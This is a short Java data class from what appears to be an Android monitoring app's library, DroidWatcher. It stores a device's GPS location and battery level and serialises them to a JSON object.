package com.droidwatcher.lib;
import org.json.JSONException;
import org.json.JSONObject;
import com.droidwatcher.receivers.BatteryState;
import android.location.Location;
public class GPS implements IMessageBody {
public double acc;
public int alt;
public double lat;
public double lon;
public long date;
public int battery;
public String provider;
public GPS(Location location){
this.acc = (double) Math.round(location.getAccuracy() * 100) / 100;
this.alt = (int) Math.round(location.getAltitude());
this.lat = location.getLatitude();
this.lon = location.getLongitude();
this.date = location.getTime();
this.battery = BatteryState.getBatteryLevel();
this.provider = location.getProvider();
}
public GPS(double acc, double alt, double lat, double lon, long date){
this.acc = acc;
this.alt = (int) Math.round(alt);
this.lat = lat;
this.lon = lon;
this.date = date;
this.battery = BatteryState.getBatteryLevel();
this.provider = "NETWORK";
}
public GPS(double acc, double alt, double lat, double lon, long date, int battery, String provider){
this.acc = acc;
this.alt = (int) Math.round(alt);
this.lat = lat;
this.lon = lon;
this.date = date;
this.battery = battery;
this.provider = provider;
}
public JSONObject getJSONObject() {
JSONObject obj = new JSONObject();
try {
obj.put("acc", acc);
obj.put("alt", alt);
obj.put("lat", lat);
obj.put("lon", lon);
obj.put("date", date);
obj.put("battery", battery);
obj.put("provider", provider);
} catch (JSONException e) {
e.printStackTrace();
}
return obj;
}
}